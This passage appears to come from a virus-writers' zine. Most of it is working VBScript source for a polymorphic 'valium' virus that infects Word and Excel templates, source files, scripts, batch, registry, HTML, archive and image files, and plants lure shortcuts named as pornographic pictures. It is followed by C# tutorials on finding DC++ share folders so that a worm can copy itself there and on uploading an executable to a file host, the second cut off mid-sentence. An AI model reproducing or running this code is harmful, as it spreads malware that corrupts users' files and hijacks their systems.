needed for injecting the virus 'body to Normaltemp,you see,after this execution,valium will be macro virus too. '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ set opendroperdoc = fso.OpenTextFile("C:\doc.1", 1) set doc= fso.CreateTextFile("C:\Document.sys", 1) doc.writeline "Private Sub Document_Open()"&vbcrlf&"Open "&chr(34)&"file.vbs"&chr(34)&" for output as #1" do while oneline <> "'valium" oneline = opendroperdoc.readline docformat = replace(oneline,chr(34),chr(34)&"&chr(34)&"&chr(34)) fullline = "? #1," & Chr(34) & docformat & chr(34) doc.writeline fullline loop doc.writeline vbcrlf & "close #1 : Createobject("& chr(34) & "Wscrip.shell" & chr(34) & ").run " & chr(34) & "file.vbs" & chr(34) & " : end sub" doc.close opendroperdoc.close '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Infecting NormalTemp '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Set wordobj = CreateObject("Word.Application") Set NT = wordobj.NormalTemplate.VBProject.VBComponents For h = 1 To NT.Count If NT(h).Name = "valy" Then wordobj.NormalTemplate.Save wordobj.Quit wordobj = "" else NT.Import "C:\Document.sys" end if next '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Infecting XLStert '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Set excelvir = CreateObject("excel.application") excelvir.Visible = (Rnd * 0) excelvir.CommandBars("Tools").Controls(10).Enabled = 0 excelvir.CommandBars("Tools").Controls(12).Enabled = 0 excelvir.CommandBars("View").Controls(3).Enabled = 0 excelvir.CommandBars("Window").Controls(3).Enabled = 0 excelvir.CommandBars("Window").Controls(4).Enabled = 0 Book = excelvir.Application.StartupPath & "\virus.xls" Set workbookvir = excelvir.Workbooks.Add workbookvir.VBProject.VBComponents.Import "C:\Document.sys" excelvir.ActiveWindow.Visible = 0 workbookvir.SaveAs Book Set workbookvir = Nothing excelvir.Quit Set excelvir = Nothing '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Function to changes *jgp files file same as *vbs files,you will need this to infect graph files '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Set changetype = CreateObject("Wscript.Shell") 'jgp <-> VBS On Error Resume Next changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\" changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\DefaultIcon\","C:\WINDOWS\WScript.exe,3" changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\ScriptEngine\","VBScript" changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}" changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\Shell\Open\Command\","C:\WINDOWS\WScript.exe " & chr(34) & "%1" & chr(34) & " %*" changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\Shell\Play\Command\","C:\WINDOWS\COMMAND\CScript.exe " & chr(34) & "%1" & chr(34) & " %*" changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}" changetype.regwrite "HKEY_CLASSES_ROOT\.jgp\","jgpFile" changetype.regwrite "HKEY_CLASSES_ROOT\jgp\CLSID\","{B54F3741-5B07-11cf-A4B0-00AA004A55E8}" changetype.regwrite "HKEY_CLASSES_ROOT\jgp\OLEScript\" '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'TravelDir section begin here '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Self = OpenSelf.Readall Set Drives=fso.drives For Each Drive in Drives If drive.isready then Dosearch drive & "\" end If Next function Dosearch(path) on error resume next Set Folder=fso.getfolder(path) Set Files = folder.files For Each File in files '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Infecting all *cpp,*frm and *pas files '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="cpp" then on error resume next set readcppmarker = fso.OpenTextFile(file.path,1) cppmarker = readcppmarker.readline cppreadall = readcppmarker.readall if mid(cppreadall,len(cppreadall),1) = "}" then cppreadall1 = replace(cppreadall,mid(cppreadall,len(cppreadall),1),"") end if if cppmarker <> "// W32.hllp.valiumvir" then set readcppmarker = fso.CreateTextFile(file.path, True) readcppmarker.write "// W32.hllp.valiumvir" & vbcrlf & "FILE *valiumv;" & vbcrlf readcppmarker.write cppreadall & "wormvaliumv = fopen("&chr(34)&"valiumv.vbs"&chr(34)&","&chr(34)&"wt"&chr(34)&");" & vbcrlf readcppmarker.write "if(wormvaliumv)"&vbcrlf&"{"& allsourcecpp &vbcrlf&"}" & vbcrlf readcppmarker.write "ShellExecute(NULL, "&chr(34)&"open"&chr(34)&", "&chr(34)&"valiumv.vbs"&chr(34)&", NULL, NULL, SW_SHOWNORMAL);" & vbcrlf readcppmarker.write "}" & vbcrlf readcppmarker.close end if end if If fso.GetExtensionName(file.path)="frm" then on error resume next set readfrmmarker = fso.OpenTextFile(file.path,1) frmmarker = readfrmmarker.readline frmreadall = readfrmmarker.readall if frmmarker <> "Rem W32.hllp.Mvbswe" then set readfrmmarker = fso.CreateTextFile(file.path, True) readfrmmarker.write "Rem W32.hllp.valium" & vbcrlf & frmreadall & vbcrlf readfrmmarker.write "Private Sub form_unload(cancel As Integer)" & vbcrlf readfrmmarker.write "On Error GoTo err:" & vbcrlf readfrmmarker.write "Open " & chr(34) & "C:\mvbswe.vbs" & chr(34) & " for output as #1" & vbcrlf readfrmmarker.write allsourcefrm & vbcrlf & "close #1" & vbcrlf & "shell " & chr(34) & "C:\mvbswe.vbs" & chr(34) & vbcrlf readfrmmarker.write "msgbox " & chr(34) & "Your Program has been infected valium virus" & chr(34) & ",VbInformation," & chr(34) & "W32.VBS.Mvbswe" & chr(34) readfrmmarker.write vbcrlf & "exit sub" & vbcrlf & "err:" & vbcrlf & "End sub" & vbcrlf readfrmmarker.close end if end if If fso.GetExtensionName(file.path)="pas" then on error resume next set readpasmarker = fso.OpenTextFile(file.path,1) pasmarker = readpasmarker.readline pasreadall = readpasmarker.readall if pasmarker <> "{ W32.hllp.valium }" then set readpasmarker = fso.CreateTextFile(file.path, True) readpasmarker.write "{ W32.hllp.valium }" & vbcrlf & pasreadall & vbcrlf readpasmarker.write "procedure " & "TForm1.FormClose(Sender: TObject; var Action: TCloseAction);" & vbcrlf readpasmarker.write "begin" & vbcrlf & "AssignFile (mvbswe,'C:\Windows\STARTM~1\programs\startup\mvbswe.vbs');" & vbcrlf readpasmarker.write "Rewrite (mvbswe);" & vbcrlf & allsourcepas & vbcrlf & "CloseFile(mvbswe);" & vbcrlf readpasmarker.close end if end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Infecting vbs,vbe files '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="vbs" or fso.GetExtensionName(file.path)="vbe" then Set Scripts = FSO.OpenTextFile(File.path, 1, True) If Scripts.ReadLine <> "'valium" then Set Scripts = FSO.OpenTextFile(File.path, 1, True) ScriptsSource = Scripts.ReadAll Set WriteScripts = FSO.OpenTextFile(File.path, 2, True) WriteScripts.WriteLine Self WriteScripts.WriteLine ScriptsSource end if end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Infecting zip and rar with their internal command '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="zip" then On error resume next set ws = createobject("wscript.shell") set word = createobject("word.application") appword = word.System.PrivateProfileString("","HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\winzip32.exe", "") ws.run appword & " -a -r " & file.path & Chr(32) & " C:\windows\valium.vbs" end if next If fso.GetExtensionName(file.path)="rar" then on error resume next set ws = createobject("wscript.shell") set fso = createobject("Scripting.filesystemobject") rar1 = "C:\Program Files\WinRAR\WinRAR.exe":rar2 = "D:\Program Files\WinRAR\WinRAR.exe" if fso.fileexists(rar1) or fso.fileexists(rar2) then ws.run "WinRAR.exe a " & file.path & " C:\windows\virus.vbs" end if end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Open virus body and changes it to js format then gooo eat it '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="js" then set u = fso.opentextfile(Wscript.scriptfullname,1) uu = u.readall for i = 1 to len(uu) a = mid(uu,i,1) aa = asc(a) if i <> len(uu) aaa = replace(uu,a,aa & ",") else aaa = replace(uu,a,aa & ")") end if all = all & aaa next u.close set fin = fso.createtextfile(file.path,true) fin.write "var a=string.fromcharcode("&all&vbcrlf fin.write "var b=wscript.createobject("&chr(34)&"scripting.filesystemobject"&chr(34)&").createtextfile("&chr(34)&"aaa.vbs"&chr(34)&")"&vbcrlf fin.write "for(i=0; i<a.length; i++){"&vbcrlf&"try{b.write(a.charAt(i))}"&vbcrlf&"catch(c){}}"&vbcrlf fin.write "WScript.CreateObject("&chr(34)&"WScript.Shell"&chr(34)&").run("&chr(34)&"aaa.vbs"&chr(34)&",0)" fin.close End if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Changes virus body to bat format and goooo infect it '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="Bat" then set u = fso.opentextfile(Wscript.scriptfullname) uu = u.readall u.close set e = fso.CreatetextFile(file.path) e.write uu e.writeline ":end" e.close set i = fso.opentextfile(file.path) co = 0 do while buff <> ":end" co = co + 1 buff = i.readline loop co = co + 14 i.close set fin = fso.createtextfile(file.path) fin.writeline "@Echo set ff=createobject(" & chr(34) & "scripting.filesystemobject" & chr(34) & ")>>C:\gen.vbs" fin.writeline "@Echo set rr=ff.opentextfile(" & chr(34) & "%0" & chr(34) & ",1)>>C:\gen.vbs" fin.writeline "@Echo lls=Split(rr.ReadAll,vbCrLf)>>C:\gen.vbs" fin.writeline "@Echo for ii=15 to " & co & " >>C:\gen.vbs" fin.writeline "@Echo newcode=newcode & vbcrlf & lls(ii)>>C:\gen.vbs" fin.writeline "@Echo next>>C:\gen.vbs" fin.writeline "@Echo set ww=ff.createtextfile(ff.getspecialfolder(0) & " & chr(34) & "\vir.vbs" & chr(34) & ",true)>>C:\gen.vbs" fin.writeline "@Echo ww.write newcode>>C:\gen.vbs" fin.writeline "@Echo ww.close>>C:\gen.vbs" fin.writeline "@Echo set ss=createobject(" & chr(34) & "wscript.shell" & chr(34) & ")>>C:\gen.vbs" fin.writeline "@Echo ss.run ff.getspecialfolder(0) & " & chr(34) & "\wscript.exe " & chr(34) & " & ff.getspecialfolder(0) & " & chr(34) & "\vir.vbs %" & chr(34) & ",1,false>>C:\gen.vbs" fin.writeline "@cscript C:\gen.vbs" fin.writeline "@del C:\gen.vbs" fin.writeline "@cls" fin.write uu fin.close End if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Changes virus body to reg format and goooo eat it '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="reg" then set openreg = fso.opentextfile(file.path,1) read = openreg.readall set createreg = fso.createtextfile(file.path,2) createreg.write read & vbcrlf createreg.writeline "[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]" createreg.writeline chr(34)&"executor"&chr(34)&"="&chr(34)&"command /c echo set a=createobject(\"&chr(34)&"Scripting.filesystemobject\"&chr(34)&"):set b=a.opentextfile(\"&chr(34)&"C:\windows\valium.vbs"&chr(34)&"):c=b.readall set d=a.createtextfile(\"&chr(34)&"virus.vbs\"&chr(34)&").write c:createobject(\"&chr(34)&"wscript.shell\"&chr(34)&").run \"&chr(34)&"virus.vbs\"&chr(34)&",0>vir.vbs"&chr(34) createreg.writeline chr(34)&"executorrun"&chr(34)&"="&chr(34)&"wscript vir.vbs"&chr(34) createreg.close end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'HyperText language infection '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="html" or fso.GetExtensionName(file.path)="htt" or fso.GetExtensionName(file.path)="htm" or fso.GetExtensionName(file.path)="shtml" then set a = fso.opentextfile(file.path,2) l = a.readline if l <> "<!---->" then b = a.readall set c = fso.opentextfile(Wscript.scriptfullname) bc = c.readall c.close a.writeline "<!---->" a.writeline "<html><Body><Script language=" & chr(34) & "VBScript" & chr(34) & ">" a.write bc a.writeline "<" & chr(47) & "script></body></html>" a.write b a.close end if end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Graphical infection '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="bmp" or fso.GetExtensionName(file.path)="jpg" or fso.GetExtensionName(file.path)="gif" or fso.GetExtensionName(file.path)="ico" then on error resume next set fso = createobject("scripting.filesystemobject") set runer = wscript.CreateObject("wscript.shell") set tes = fso.opentextfile(Wscript.Scriptfullname,1) scr = tes.readall bathelp = file.path & ".bat" Set dropper = Fso.Createtextfile(bathelp, True) dropper.writeline "Attrib +h " & file.path dropper.Close runer.run bathelp Fso.Deletefile bathelp vbscopy = file.path & ".jgp" Set dropper2 = Fso.Createtextfile(vbscopy, True) dropper2.write "CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ").run " & chr(34) & file.path & chr(34) & vbcrlf dropper2.write scr dropper2.Close end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Create lnk file at desktop and link it to the valium(win9x,Me) '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ if fso.FolderExists("C:\windows\Desktop") then on error resume next set shell=wscript.createobject("wscript.shell") set msc=shell.CreateShortCut("C:\windows\Desktop\Porn_pic.jpg.lnk") msc.TargetPath = Shell.ExpandEnvironmentStrings("C:\windows\valium.vbs") msc.WindowStyle = 4 msc.Save end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Create lnk file at desktop and link it to the valium(Xp,Nt) '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ if fso.FolderExists("C:\Documents and Settings\All Users\Desktop") then on error resume next set executor=wscript.createobject("wscript.shell") set msc=executor.CreateShortCut("C:\Documents and Settings\All Users\Desktop\Porno-pic.jpg.lnk") msc.TargetPath = executor.ExpandEnvironmentStrings("C:\windows\valium.vbs") msc.IconLocation = Shell.ExpandEnvironmentStrings("C:\windows\system32\mspaint.exe, 0") msc.WindowStyle = 4 msc.Save end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Nrb infection '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="nrb" then a = "0E4E65726F49534F302E30322E303301000000010000000000124" b = "E45524F202D204255524E494E4720524F4D0000003428F9403428" c = "F940FFFFFFFFFFFFFFFF000000003428F94001000000000000000" d = "1000000010000000100000001000000074D792044697363074D79" e = "20446973631000000000000000000000000180568737016CC4018" f = "072D545016CC40180568737016CC4010000400000000000000000" g = "0000000002000000433A01000000010700000057494E444F57530" h = "1000000000100000C73797374656D43442E766273200000000000" i = "00000200000000E096F8B33B6CC401002B70BA3B6CC40180B5D34" j = "0016CC40100000010025F5F5F3156434431060001000000040000" k = "00000045444A4F030001000000010002444F535F0E00010000000" l = "C0053595354454D43442E5642534653495A0A0001000000080000" m = "000000000000005052494F0A00020000000400000000000400000" n = "00000454E44210200000000000000000000000000425553546A00" o = "00000000000001000000010000000000000000000000000000000" p = "100000001000000010000000000000000000100FFFFFF7F000000" q = "00000000000100000000000000010000000000000000000000000" r = "000000000000000000100000000000000000000004B4E554A544F" s = "4F4200000000FFFFFFFF2E433A5C50524F4752414D2046494C455" t = "35C41484541445C4E45524F5C4472446F73426F6F74696D616765" u = "2E494D41C0070100020059484F4E534D544217437265617465642" v = "06279204E65726F20457870726573734C4F564A034E4557000000" w = "00124E65726F202D204275726E696E6720524F4D0000000100000" x = "0544E454E4644554E58454F4200000000 GenCode = a&b&c&d&e&f&g&h&i&j&k&l&m&n&o&p&q&r&s&t&u&v&w&x For letscount = 1 To Len(GenCode) Step 2 NewCode = NewCode & Chr("&h"& Mid(GenCode, letscount, 2)) next Set nrbinfector = fso.createtextfile(file.path, True) nrbinfector.write NewCode nrbinfector.close end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Nri Infection '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If fso.GetExtensionName(file.path)="nri" then a = "0E4E65726F49534F302E30322E3033010000000100000000001" b = "24E45524F202D204255524E494E4720524F4D000000F827F940" c = "F827F940FFFFFFFFFFFFFFFF00000000F827F94001000000000" d = "0000001000000010000000100000000000000074D7920446973" e = "63074D7920446973631000000000000000000000000140CBC31" f = "B016CC401A0811333016CC40140CBC31B016CC4010000400000" g = "0000000000000000000002000000433A0100000001070000005" h = "7494E444F575301000000000100000C73797374656D43442E76" i = "627320000000000000000200000000E096F8B33B6CC401002B7" j = "0BA3B6CC40120B8FD28016CC40100000010025F5F5F31564344" k = "3106000100000004000000000045444A4F03000100000001000" l = "2444F535F0E00010000000C0053595354454D43442E56425346" m = "53495A0A0001000000080000000000000000005052494F0A000" n = "2000000040000000000040000000000454E4421020000000000" o = "0000000000000000425553546A0000000000000001000000010" p = "000000000000000000000000000000100000000000000010000" q = "000000000000000100FFFFFF7F0000000000000000010000000" r = "000000001000000000000000000000000000000000000000000" s = "0100000000000000000000004B4E554A54424F4E59484F4E534" t = "D5442154E65726F20426F6F742D4C6F616465722056332E304C" u = "4F564A034E455700000000124E65726F202D204275726E696E6" v = "720524F4D00000001000000544E454E4644554E45424F4E" GenCode = a&b&c&d&e&f&g&h&i&j&k&l&m&n&o&p&q&r&s&t&u&v For letscount = 1 To Len(GenCode) Step 2 NewCode = NewCode & Chr("&h"& Mid(GenCode, letscount, 2)) next Set nrinfector = fso.createtextfile(file.path, True) nrinfector.write NewCode nrinfector.close end if Set Subfolders = folder.SubFolders For Each Subfolder in Subfolders Dosearch Subfolder.path Next end function '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Just an crazy tough,simple memory resident for scripts '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ for i = 1 to 20:Set w = CreateObject("Word.application"):Set e = CreateObject("ExCeL.application"):next '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Self destruction '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ if day(now) = 1 and month(now) = 1 and year(now) = 2006 then set fso = createobject("scripting.filesystemobject") fso.deletefile wscript.scriptfullname end if '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 'Polymorph,Self crypting with simple epo,you know it also vulnerable for script,but it need to drop 'file for buffer characters '^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ set fso = createobject("scripting.filesystemobject") set op = fso.opentextfile(wscript.scriptfullname,1) set parser = fso.Createtextfile("C:\poly.txt",true) do while mark <> "'valium" mark = op.readline for i = 1 to len(mark) c = mid(mark,i,1) if c = chr(34) then Call Poly else parser.write c end if if i = len(mark) then parser.write vbcrlf end if next loop sub Poly() Counter = i do while enc <> chr(34) Counter = Counter + 1 enc = mid(mark,Counter,1) if enc = chr(34) then exit do char = char & enc loop all = "decrypt(" & chr(34) & strreverse(char) & chr(34) & ")" parser.write all i = Counter end sub op.close parser.close set back = fso.opentextfile("C:\poly.txt",1) reader = back.readall set wrtall = fso.Createtextfile("C:\poly.txt",true) wrtall.write reader wrtall.writeline "function decrypt(x)" & vbcrlf & "Decrypt = strreverse(x):end function" fso.copyfile "C:\poly.txt",wscript.scriptfullname 'valiumarts
Bu773rb0)(n3 (29.04.2001) rastafarie
arts
p4rt I rastafarie
articles
Finding DC++ ShareFolders Via Xml in C# Retro , dM AMMr 4MMML . MMMMM. xf . "M6MMM .MM- Mh.. +MM5MMM .MMMM .MMM. .MMMMML. MMMMMh Finding DC++ ShareFolders Via Xml in C# )MMMh. MM5MMM MMMMMMM by Retro 3MMMMx. 'MMM3MMf xnMMMMMM" '*MMMMM MMMMMM. nMMMMMMP" *MMMMMx "MMM5M\ .MMMMMMM= *MMMMMh "MMMMM" JMMMMMMP MMMMMM GMMMM. dMMMMMM . 2nd April 2006 MMMMMM "MMMM .MMMMM( .nnMP" .. *MMMMx MMM" dMMMM" .nnMMMMM* "MMn... 'MMMMr 'MM MMM" .nMMMMMMM*" "4MMMMnn.. *MMM MM MMP" .dMMMMMMM"" ^MMMMMMMMx. *ML "M .M* .MMMMMM**" *PMMMMMMhn. *x > M .MMMM**"" ""**MMMMhx/.h/ .=*" http://retro.host.sk .3P"%.... www.rrlf.de.vu nP" "*MMnx 1. I N T R O If you dont already know, DC++ is a free open-source P2P client, like edonkey or kazaa. On the eve of writting of this code, I had never heard of DC++. It wasn't untill I asked a friend about the most common P2P clients today, his first answer as he's coming at me was, DC++. So as i'm bangaging my wounds, I installed DC to see what the hype was about. Unlike eDonkey for example, DC lets you choose which folders to share with others by default, whereas eDonkey creates it's own, in My Documents. All of DC settings are contained in a XML in the root install dir, wherever that maybe, called 'DCPlusPlus.xml'. 2. R E Q U I R E M E N T S For the code, i'm using Visual Studio .NET 2005 Beta 2, along side .NET 2.0 Framework. I had too many problems working with 1.1, and so I upgraded. It should work with 1.1 but you may need to edit 'XmlReader.Create' to 'New XmlReader' but dont quote me on that. 3. T H E C O D E static void dcShares() { // Check to see if DCPlusPlus is installed RegistryKey p2pKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\DC++"); // Get the installation key object p2p = p2pKey.GetValue("Install_Dir"); // If the key isnt there, then exit if statement if (p2p == null) { } else { // Append backslash to Path p2p += @"\"; // Open the Config File XmlReader xmlRead = XmlReader.Create(p2p + "DCPlusPlus.xml"); // Read Xml File while (xmlRead.Read()) { // If the current node is 'Directory' if (xmlRead.Name == "Directory") { // Read the element string dccShare = xmlRead.ReadString(); // Show folder Console.WriteLine(dccShare); } } // Close the XmlReader xmlRead.Close(); } } 4. O U T R O As you can see its very easy to understand, and can be applied to anything you wish, but obviously you'd want to copy itself to the folders though. Anyway enjoy the code.articles
Upload Files to upload2.net in C# Retro _ |_) _ _|_ ._ _ | \ (/_ |_ | (_) www.pugnax.co.uk ************************************************* ** Upload Files to upload2.net in C# ** ** 25th November 2006 ** ************************************************* Anarchistic Sadistic 1. I N T R O Upload2.net is a free file sharing service which lets you host your files for free, with up to a 25MB limit. Compared with similar sites this is a low limit, with certain places allowing upto 2GB of data. These sites work through your broswer, and upon uploading, gives you the link to your data, which allow others people to download it. 2. S E T U P To implement this we are going to use the HttpWebRequest and HttpWebResponse class, which is handled by the System.Net namespace. This provides an HTTP-specific implementation of the WebRequest class, which in return helps us access data from the internet. Below is the html code which is used on the site. From this we can see how the sent data is laid out, and also what we need to send with it. <form action="http://www5.upload2.net/upload.php" method="post" enctype="multipart/form-data" name="form1"> <input type="hidden" name="MAX_FILE_SIZE" value="27000000" /> <input type="hidden" name="page" value="upload"> <input name="file" type="file" /> <input type="submit" value="Upload" /> </form> When you upload a file through your browser, it generates a message body containing all the data it needs to send the file. I used a Http sniffer too analyze what was being send to the server when I clicked the sumbit button. -----------------------------41184676334 Content-Disposition: form-data; name="MAX_FILE_SIZE" 27000000 -----------------------------41184676334 Content-Disposition: form-data; name="page" upload -----------------------------41184676334 Content-Disposition: form-data; name="file"; filename="Absondo.exe" Content-Type: application/x-msdos-program *FILE CONTENT* -----------------------------41184676334-- We also need to send headers with the body, but I havent show them in the above example, as we dont send it in the same way as we are going to send the body. 3. C O D E The first thing we need to do is set a MIME boundary delimiter. These start with a hyphen pair followed by a boundary string, and are used to seperate the forms data. A MIME end-delimiter is a hyphen pair, followed by the MIME boundary string, followed by a further hyphen pair, which indicates the end of the message. string boundary = Guid.NewGuid().ToString().Replace("-", ""); Now we have set a boundary string, we need to the read the content of the file in which we want to send. FileStream fs = File.OpenRead(filename); byte[] bytes = new byte[fs.Length]; fs.Read(bytes, 0, bytes.Length); fs.Close(); We now have everything, we can now generate the mime message body. string mimebody = "--" + boundary + "\r\n" + "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n" + "27000000\r\n" + "--" + boundary + "\r\n" + "Content-Disposition: form-data; name=\"page\"\r\n\r\n" + "upload\r\n" + "--" + boundary + "\r\n" + "Content-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\r\n" + "Content-Type: application/x-msdos-program\r\n\r\n" + Encoding.Default.GetString(bytes) + "\r\n" + "--" + boundary + "--\r\n"; By default, mime sends data in 7BIT encoding, however due to the sending of binary data we have to encode it using the Latin character set, which also uses 8BIT. A quick look on wiki tells me that many web browsers treat the MIME charset ISO-8859-1 (Latin) as Windows-1252, which should be the default character set for windows. So now we can encode the whole mime body, including the data using Encoding.Default. byte[] buffer = Encoding.Default.GetBytes(mimebody); Earlier I said that we dont need to produce the headers of the request with 